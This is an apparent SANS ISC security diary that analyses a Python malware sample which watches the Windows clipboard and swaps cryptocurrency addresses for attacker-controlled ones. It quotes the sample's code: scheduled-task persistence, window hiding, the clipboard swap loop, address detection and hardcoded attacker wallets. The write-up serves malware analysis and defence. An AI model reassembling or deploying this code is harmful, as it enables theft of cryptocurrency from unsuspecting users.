Multi-Cryptocurrency Clipboard Swapper

Published: 2022-04-21
Last Updated: 2022-04-21 06:26:59 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

Last week, I was in Amsterdam to attend the FIRST TC 2022 where I talked about Python used for malicious purposes in the Windows ecosystem[1]. Amongst multiple examples, I mentioned a sample of Python code that tries to steal cryptocurrencies. It’s not the first time that I found a piece of code that monitors the clipboard and swap the BTC address found with the attacker's one. This time, the script that I found supports a lot of cryptocurrencies!

The file has a very low VT score (3/57)[2] (SHA256: 90077efe5fea9f769a7d9899f2c0ce8577b45ee82182419a2af9d93472bc904c).

First finding, the script implements persistence via the creation of a scheduled task:

def create_schtask(dir, file):
    try:
        call(f'schtasks /create /sc MINUTE /mo 1 /tn "System" /k /F /tr "{dir}\\{file}"', shell=True)
    except:
        pass

Python scripts on Windows can interact with the GUI (though the win32gui library). The script hides its window:

frgrnd_wndw = win32gui.GetForegroundWindow();
wndw_title  = win32gui.GetWindowText(frgrnd_wndw);
if wndw_title.endswith("host.exe"):
    win32gui.ShowWindow(frgrnd_wndw, win32con.SW_HIDE);

Now, let’s focus on the core feature, the interaction with the clipboard:

while True:
    network = Network()
    try:
        OpenClipboard()
        data: str = str(GetClipboardData())
        CloseClipboard()
    except:
        data = ''

    detected_network = get_detect_network(data)
    if detected_network == None:
        pass
    else:
        new_address = network.get_random_address(detected_network)
        if data in network.addresses[detected_network]:
            pass
        else:
            OpenClipboard()
            EmptyClipboard()
            SetClipboardText(new_address)
            CloseClipboard()
    sleep(0.33)

The clipboard content is read (into the variable “data”). This variable passed to get_detect_network() to verify the presence of a cryptocurrency address:

def get_detect_network(data: str) -> str or None:
    if (data.startswith('1') or data.startswith('bc1')):
        detected_network = 'bitcoin'
    elif data.startswith('0x'):
        detected_network = 'erc20_and_bep20'
    elif len(data) == 44:
        detected_network = 'solana'
    elif (len(data) == 34) and (data.startswith('T')):
        detected_network = 'tron'
    elif data.startswith('bnb1'):
        detected_network = 'bep2'
    elif len(data) == 43 and data.startswith('ltc1') or \
         len(data) == 34 and (data.startswith('M') or data.startswith('L')):
        detected_network = 'litecoin'
    elif data.startswith('r'):
        detected_network = 'xrp'
    elif data.startswith('q'):
        detected_network = 'bitcoin_cash'
    elif len(data) >= 64:
        detected_network = 'near'
    elif data.startswith('X'):
        detected_network = 'dash'
    elif data.startswith('t'):
        detected_network = 'zcash'
    elif data.startswith('D'):
        detected_network = 'dogecoin'
    elif data.startswith('terra'):
        detected_network = 'terra'
    elif data.startswith('cosmos'):
        detected_network = 'cosmos'
    else:
        detected_network = None
    return detected_network

As you can see, many currencies are supported but the detection mechanism does not look very powerful and is prone to many false positives! The script looks like a proof-of-concept for me...

The script had many addresses hardcoded, with multiple values per network:

addresses = {
    'bitcoin': ['bc1q4skmuprct25drfzrujdev3g2y5a4zsqs0fvvm2', 
                'bc1qcv3h42gc032q5elgs8cynenqh57mymck4fncnk', 
                'bc1qhagmzt4a0lwdwjltmu2ur0v42veeks29j77hm4'],
    'solana': ['AZEBYz4bki8CJ9ANj5y8Hnmzvzpdi9Kfg3a27GZyQ9Fx', 
               'HFBTid2mkUoMnbYWfF2ceQCnbBvM62VRUQsXDk8DcLGp', 
               '8NfYSJHVjpv3XDSAWNLbMknjGQw5X3JsECPE7B6kzBnu'],
    'tron': ['TBVwvr6gqxJNwp91FVcsVJyaePCGY6mDMG', 
             'TKcHEi5dfkAZ7L6zfGreMSmb2MKYyAuDTu', 
             'TDXdHSfUHevtzVdWB7K6uhoSY7ynxX38jw'],
    'erc20_and_bep20': ['0xEBBc57A99ba16b52d69e11e6E07052ABA3Ff90a0', 
                        '0x0E0D59F69D136F05B1065a7d0f11616bD1e47CE9', 
                        '0x534F85b57001aa69A1cFC8831A5EdCd3F485d704'],
    'bep2': ['bnb1ydfyhhsyksz4quvltds8qsdxdqfkpwjyd9a23w', 
             'bnb1mfcxcgxgla2qmsfrwsg5jtdmf8r4ytjm6y5ty0', 
             'bnb1cqqggjtwmnqlx0txnvywuugw6trwcs7y90hlpz'],
    'litecoin': ['ltc1qh0clxt5t3ydmdpteyc83s77p8yv4d6f245uc57', 
                 'ltc1q8rp6c0v577uwfkxv7trmja5zw9rtgsaljxxwwd', 
                 'ltc1q6udncrt9shyllpr2m23878gpyarvp35ap23sp6'],
    'xrp': ['rDhqftgvEaGVYvCeGE6DNipja9DHZpKz1', 
            'r4jogJ97bYAABoGosPTjzUUP2rAGcA4sKQ', 
            'rhYeMmXJacRdHSHLRKgQ5vq6NEoaz381vH'],
    'bitcoin_cash': ['qqzc2wqrxfj4vn8cpuqzvefl3lrfhw9yqs9lndnpku', 
                     'qrsyq9k28yq2py3slez8gjr322zlv4vhqv2g6emnq9', 
                     'qrwpfk2vamxs2qwasv4n56pjvcc78zernypzyahf4u'],
    'near': ['04fbb5a231c9791f4868da4973f2f1ed0f358a4c99727534a961a0a80581a055',
             'a69ef150c95822112e30a792c10a51e01606e32f65fd8fb083d49ff7afc9c4d9',
             '43cd191cd0f3c8ffbb070a60aa3937c5f7218b09108951c0a24ae94ae9a7665d'],
    'dash': ['XwxkG8sQhqK7idZyrPp5zu5wdTii9vF9vT', 
             'XfQaYpipiLRDEn1Gy4YAvHQ7Gm1EBNhiZw', 
             'XjPpu9WZs9F1EfyYsZDLPyhX9g2BacTfeh'],
    'zcash': ['t1PuPdnnJmzqgctQVcdqkmqPCaR5Gsccegk', 
              't1gJ8Zc5rWiW7gGbFP7KVEGDZFyrT7JP9u7', 
              't1N9RNGiKj2TCWgip5uXLWefY1kKLLgimaR'],
    'dogecoin': ['D93zyaMn37Eq9RvUeaN8tKaUC1ocLNvncn', 
                 'DThAv5fRB3t3foES6jLLZrqdoQkDc6vuZJ', 
                 'DHbrcfpN3v6RZQ4wCTrPoxnMNQj1CG9k51'],
    'terra': ['terra1sgn3gkdesfx57sq04dpngh4yvncahdxk6ljz02', 
              'terra1psvawthe0g0495gfmk046rdswvat5pnr264l02', 
              'terra1jwtkp94w3tt46hxcdfhgjm9awk58qhkehsnqg6'],
    'cosmos': ['cosmos1pf05klhcy9e540t6y9as25qxn85l2azzkw7mcg', 
               'cosmos1ggapvcwtcfx6082a0th2adc8umc0h8zf3kz22n', 
               'cosmos1j4d2gppgyf7sutwyzkm6tjy679lc7aaxakp2c9'],
}

Be careful when copying/pasting cryptocurrency addresses (or any sensitive data). By default, many desktop virtualization solutions enable clipboard sharing by default and are able to access the host clipboard.

[1] https://www.linkedin.com/pulse/first-tc-amsterdam-2022-jeff-bollinger/https://www.linkedin.com/pulse/first-tc-amsterdam-2022-jeff-bollinger/
[2] https://www.virustotal.com/gui/file/90077efe5fea9f769a7d9899f2c0ce8577b45ee82182419a2af9d93472bc904c/detection

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
ISC Stormcast For Thursday, April 21st, 2022 https://isc.sans.edu/podcastdetail.html?id=7974

Comments


Diary Archives